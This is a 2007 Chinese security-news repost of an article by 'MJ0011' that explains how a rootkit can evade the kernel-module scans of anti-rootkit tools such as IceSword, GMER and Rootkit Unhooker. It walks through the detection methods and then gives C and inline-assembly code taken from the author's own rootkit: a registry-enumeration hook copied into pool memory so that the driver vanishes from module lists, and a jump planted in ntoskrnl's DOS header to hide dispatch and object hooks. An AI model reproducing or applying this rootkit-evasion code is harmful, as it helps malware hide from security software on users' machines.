[注意]绕过现代Anti-Rookit工具的内核模块扫描
首页 | 注册会员 | 安贸通服务 | 帮助信息 | 国际站English 我的安全助手
供应信息
求购信息
展会服务
安全资讯
我的安全助手

安全 病毒 公告
高级搜索 热门关键词
您当前位置: 全球安全联盟首页 >> 安全资讯 >> 入侵检测资讯 >> 查看资讯信息 安全资讯订阅

[注意]绕过现代Anti-Rookit工具的内核模块扫描

(时间:2007-11-1 15:25:04 共有 人次浏览)
绕过现代Anti-Rookit工具的内核模块扫描 
(Bypass modern anti-rootkit tools’s kernel mode scan) 

MJ0011 
th_decoder@126.com 
2007-10-24 


本文描述了一些方法,可以绕过目前主流的现代Anti-rootkit工具,包括但不限于: 
Icesword 最新版 
Gmer最新版 
Rootkit unhooker 最新版 
DarkSpy 最新版 
AVG Anti-rootkit最新版 
等等 


目前的anti-rootkit工具中,对于内核模块主要采用如下几种扫描方式: 

1.恢复ZwQuerySystemInformation的hook,然后利用功能号SystemModuleInformation进行枚举 
例如Icesword 

2.遍历PsLoadModuleList,Driver/Device/Section Object链,或者TypeList链等(总之是找驱动相关对象)进行枚举 
例如Rootkit Unhooker,Gmer等 

3.内核镜象暴力搜索,搜索MZ,PE等等标志结合进行判断内存里是否有PE镜象,如rootkit unhooker,rutkowska的modgreper等,通常只能显示为unknow image 

4.函数引用,各种routine\hook等,先HOOK一些常用函数,然后当驱动去调用这些函数时,记下其地址,检测时使用,或者是根据各种routine(dispatch routine,IDT,Image Notfiy等)或各种hook(inline hook,iat/eat hook等等),通常只能显示为unknow image或unknow xxx handler等 

5.使用系统ImageLoad Notfiy,使用一个BOOT驱动,记录所有模块load的消息,检测时进行分析 如AVG Anti-rootkit等 


先说绕过1,2,3,5的办法 
很简单,使用诸如ZwSetSystemInformation的函数加载驱动,然后在DriverEntry中分配NonPagedPool的内存,然后将功能代码/函数copy到该内存中,然后进行必要的HOOK,最后返回STATUS_UNSUCCESSFULL. 

这样驱动在PsLoadModuleList、各种对象链里就消失了,自然也就不存在于ZwQuerySystemInformation枚举的列表里 
需要注意的是,copy到内存中的代码要尽量简单,基本不会生成需要重定位的代码了,但调用系统函数还是要另想办法 

我的某个RK里是这样做的,例如A Function用来hook 系统函数B,其中需要调用系统函数C, 

那么分配一块内存,大小= len(A) + sizeof(ULONG) * 2 

在内存的前两个DWORD放OrgB,以及C的地址,后面开始放函数代码 

函数中使用call +5 对自身的位置进行定位,找到内存开始的位置,然后得到OrgB和C 

当然也可以在COPY入内存前自己用绝对地址定位函数~不过不如这个方法灵活 

相关代码: 
//hook call CmEnumerateValueKey 

void InstallCMRegHook() 

    PVOID _CmEnumerateKeyValueLoc ;  
     

    _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey(); 
    //找到 call CmEnumerateValueKey 

    HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ; 
    //获得NewCmEnumerateValueKey长度 

    HookCode3 = ExAllocatePoolWithTag(NonPagedPool , 
    HookCodeLen + 4 , 
    MEM_TAG_HOOKCODE3); 
     
    //分配内存 

    *(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;  
     
    //原函数地址放入内存 

    RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen); 

    //copy函数代码 

    DO_SPINLOCK(); 
    *(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG); 

    //进行HOOK 

    EXIT_SPINLOCK(); 
    return ; 
     


NTSTATUS NewCmEnumearateValueKey(IN PVOID    KeyControlBlock, 
    IN ULONG Index, 
    IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, 
    IN PVOID KeyValueInformation, 
    IN ULONG KeyLength, 
    IN PULONG ResultLength 
    ) 

//下面找到本函数开始地址,并获得保存在内存中的OrgCmEnumerateValueKey的地址 

    __asm 
    { 
        push    eax 
        call    __ 
__: 
        POP        eax 
        SUB        eax,offset __ 
        add        eax,offset NewCmEnumearateValueKey 

;获得函数开始地址 

        sub        eax,4     
        mov        eax,[eax] 

;获得OrgCmEnumerateValueKey 

        push    ResultLength 
        push    KeyLength 
        push    KeyValueInformation 
        push    KeyValueInformationClass 
        push    Index 
        push    KeyControlBlock 
        call    eax     
        mov        stat, eax 
;调用原始函数 
        pop        eax 
    } 

//.....其他处理 
// 
//..... 



void NopFunc8() 

    __asm 
    { 
        nop 
        nop 
        nop 
    } 
    return ; 


//上面这个NopFunc用于NewCmEumerateValueKey函数长度定位 


这样,基于ZwQuerySystemInformation,PsLoadModuleList,对象目录,Type链,ImageLoad,暴力PE搜索(因为我们压根就没有PE镜象,just one piece of code~)... 

接下来看如何绕过4.中的检测方式 

1.Hook常用函数:这个很简单了,恢复自己要用的函数~或者压根就不用那些函数,HOOK代码大部分都是数据过滤/处理部分,所以完全可以一个系统函数也不调... 

2.各种routine检测,这个可以用多次跳转方式搞定,例如Dispatch hook,因为获取各种DRIVER的DISPATCH 原始地址没有比较通用的方法,所以检测dispatch是否被HOOK的方式通常都是检测其地址是否在其模块的Code Section中(类似的还有object hook,pxxxx hook等),使用此方法的例如rootkit  unhooker, gmer等 

只要我们先使用这样的方法,就可以绕过检测,让Anti-rootkit工具不知道是我们的模块HOOK了这里: 

先将dispatch地址跳转到code section中不用的部分,5个字节就足够了,然后在这5个字节里使用jmp指令再跳到我们的模块里,这样Anti-rootkit工具检测时,就会发现dispatch routine仍然在该模块的code section中 

通过这种方法也可以绕过对dispatch hook\object hook的检测 

inline hook/iat/eat hook也可以用类似的方法来躲过模块检测,不过无法避免HOOK被检测到 ^-^ 

即使Anti-rootkit工具使用更复杂的算法,对各个routine进行深度代码级扫描,我们也可以通过复杂逻辑/代码,将我们的最后跳转地址藏起来:) 

一个简单的双段跳绕过object hook检测的代码: 
object hook方法因为未被公开过,故细节略去,方便起见,没有写找code section的代码,直接将跳转代码写到了ntoskrnl的DOS Header中 
同样来自于我的某RK: 
ULONG InsideHookCode(ULONG NewAddress , ULONG BaseCode ) 

//该函数用于将hook代码转接到模块的DOS头中 

    //in :NewAddress: real hookcode to jump 
    //in :ModuleName: kernel module base address to inject 
    //out :NewJump Address 


ULONG TempCode = BaseCode ; 

    TempCode = TempCode + sizeof(IMAGE_DOS_HEADER) ; 
    //into DOS stub 

    DO_SPINLOCK(); 
    WPOFF(); 
     
    *(BYTE*)TempCode = 0xe9 ; 
    __asm 
    { 
        push    eax 
        push    ecx 
        mov        ecx, TempCode 
        mov        eax, NewAddress  
        sub        eax, ecx 
        sub        eax, 5 
        mov        dword ptr[ecx+1] , eax 
        pop        ecx 
        pop        eax 
    } 
     
    WPON(); 
    EXIT_SPINLOCK(); 

    //write jmp NewAddress into DOS stub 
    return TempCode ; 


     


我要评论】 【推荐给朋友】 【编辑: 信息中心】 【关闭窗口
本信息真实性未经全球安全联盟证实,仅供您参考。未经许可,不得转载。
打印 打印该页
安全资讯 更多资讯

发表评论

最新资讯

热门资讯



全球安全联盟 版权所有 ©2005-2008 | 著作权与商标声明 | 法律声明 | 服务条款 | 隐私声明 | 客服电话:025-84721203